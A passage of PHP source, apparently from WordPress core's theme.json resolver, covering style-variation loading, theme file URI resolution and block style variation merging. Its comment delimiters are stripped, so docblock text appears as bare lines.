* Returns the style variations defined by the theme.
*
* @since 6.0.0
* @since 6.2.0 Returns parent theme variations if theme is a child.
* @since 6.6.0 Added configurable scope parameter to allow filtering
* theme.json partial files by the scope to which they
* can be applied e.g. theme vs block etc.
* Added basic caching for read theme.json partial files.
*
* @param string $scope The scope or type of style variation to retrieve e.g. theme, block etc.
* @return array
public static function get_style_variations( $scope = 'theme' ) {
$variation_files = array();
$variations = array();
$base_directory = get_stylesheet_directory() . '/styles';
$template_directory = get_template_directory() . '/styles';
if ( is_dir( $base_directory ) ) {
$variation_files = static::recursively_iterate_json( $base_directory );
}
if ( is_dir( $template_directory ) && $template_directory !== $base_directory ) {
$variation_files_parent = static::recursively_iterate_json( $template_directory );
If the child and parent variation file basename are the same, only include the child theme's.
foreach ( $variation_files_parent as $parent_path => $parent ) {
foreach ( $variation_files as $child_path => $child ) {
if ( basename( $parent_path ) === basename( $child_path ) ) {
unset( $variation_files_parent[ $parent_path ] );
}
}
}
$variation_files = array_merge( $variation_files, $variation_files_parent );
}
ksort( $variation_files );
foreach ( $variation_files as $path => $file ) {
$decoded_file = self::read_json_file( $path );
if ( is_array( $decoded_file ) && static::style_variation_has_scope( $decoded_file, $scope ) ) {
$translated = static::translate( $decoded_file, wp_get_theme()->get( 'TextDomain' ) );
$variation = ( new WP_Theme_JSON( $translated ) )->get_raw_data();
if ( empty( $variation['title'] ) ) {
$variation['title'] = basename( $path, '.json' );
}
$variations[] = $variation;
}
}
return $variations;
}
*
* Resolves relative paths in theme.json styles to theme absolute paths
* and returns them in an array that can be embedded
* as the value of `_link` object in REST API responses.
*
* @since 6.6.0
*
* @param WP_Theme_JSON $theme_json A theme json instance.
* @return array An array of resolved paths.
public static function get_resolved_theme_uris( $theme_json ) {
$resolved_theme_uris = array();
if ( ! $theme_json instanceof WP_Theme_JSON ) {
return $resolved_theme_uris;
}
$theme_json_data = $theme_json->get_raw_data();
Top level styles.
$background_image_url = isset( $theme_json_data['styles']['background']['backgroundImage']['url'] ) ? $theme_json_data['styles']['background']['backgroundImage']['url'] : null;
* The same file convention when registering web fonts.
* See: WP_Font_Face_Resolver::to_theme_file_uri.
$placeholder = 'file:./';
if (
isset( $background_image_url ) &&
is_string( $background_image_url ) &&
Skip if the src doesn't start with the placeholder, as there's nothing to replace.
str_starts_with( $background_image_url, $placeholder )
) {
$file_type = wp_check_filetype( $background_image_url );
$src_url = str_replace( $placeholder, '', $background_image_url );
$resolved_theme_uri = array(
'name' => $background_image_url,
'href' => sanitize_url( get_theme_file_uri( $src_url ) ),
'target' => 'styles.background.backgroundImage.url',
);
if ( isset( $file_type['type'] ) ) {
$resolved_theme_uri['type'] = $file_type['type'];
}
$resolved_theme_uris[] = $resolved_theme_uri;
}
return $resolved_theme_uris;
}
*
* Resolves relative paths in theme.json styles to theme absolute paths
* and merges them with incoming theme JSON.
*
* @since 6.6.0
*
* @param WP_Theme_JSON $theme_json A theme json instance.
* @return WP_Theme_JSON Theme merged with resolved paths, if any found.
public static function resolve_theme_file_uris( $theme_json ) {
$resolved_urls = static::get_resolved_theme_uris( $theme_json );
if ( empty( $resolved_urls ) ) {
return $theme_json;
}
$resolved_theme_json_data = array(
'version' => WP_Theme_JSON::LATEST_SCHEMA,
);
foreach ( $resolved_urls as $resolved_url ) {
$path = explode( '.', $resolved_url['target'] );
_wp_array_set( $resolved_theme_json_data, $path, $resolved_url['href'] );
}
$theme_json->merge( new WP_Theme_JSON( $resolved_theme_json_data ) );
return $theme_json;
}
*
* Adds variations sourced from block style variations files to the supplied theme.json data.
*
* @since 6.6.0
*
* @param array $data Array following the theme.json specification.
* @param array $variations Shared block style variations.
* @return array Theme json data including shared block style variation definitions.
private static function inject_variations_from_block_style_variation_files( $data, $variations ) {
if ( empty( $variations ) ) {
return $data;
}
foreach ( $variations as $variation ) {
if ( empty( $variation['styles'] ) || empty( $variation['blockTypes'] ) ) {
continue;
}
$variation_name = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] );
foreach ( $variation['blockTypes'] as $block_type ) {
First, override partial styles with any top-level styles.
$top_level_data = $data['styles']['variations'][ $variation_name ] ?? array();
if ( ! empty( $top_level_data ) ) {
$variation['styles'] = array_replace_recursive( $variation['styles'], $top_level_data );
}
Then, override styles so far with any block-level styles.
$block_level_data = $data['styles']['blocks'][ $block_type ]['variations'][ $variation_name ] ?? array();
if ( ! empty( $block_level_data ) ) {
$variation['styles'] = array_replace_recursive( $variation['styles'], $block_level_data );
}
$path = array( 'styles', 'blocks', $block_type, 'variations', $variation_name );
_wp_array_set( $data, $path, $variation['styles'] );
}
}
return $data;
}
*
* Adds variations sourced from the block styles registry to the supplied theme.json data.
*
* @since 6.6.0
*
* @param array $data Array following the theme.json specification.
* @return array Theme json data including shared block style variation definitions.
private static function inject_variations_from_block_styles_registry( $data ) {
$registry = WP_Block_Styles_Registry::get_instance();
$styles = $registry->get_all_registered();
foreach ( $styles as $block_type => $variations ) {
foreach ( $variations as $variation_name => $variation ) {
if ( empty( $variation['style_data'] ) ) {
continue;
}
First, override registry styles with any top-level styles.
$top_level_data = $data['styles']['variations'][ $variation_name ] ?? array();
if ( ! empty( $top_level_data ) ) {
$variation['style_data'] = array_replace_recursive( $variation['style_data'], $top_level_data );
}
Then, override styles so far with any block-level styles.
$block_level_data = $data['styles']['blocks'][ $block_type ]['variations'][ $variation_name ] ?? array();
if ( ! empty( $block_level_data ) ) {
$variation['style_data'] = array_replace_recursive( $variation['style_data'], $block_level_data );
}
$path = array( 'styles', 'blocks', $block_type, 'variations', $variation_name );
_wp_array_set( $data, $path, $variation['style_data'] );
}
}
return $data;
}
}
*/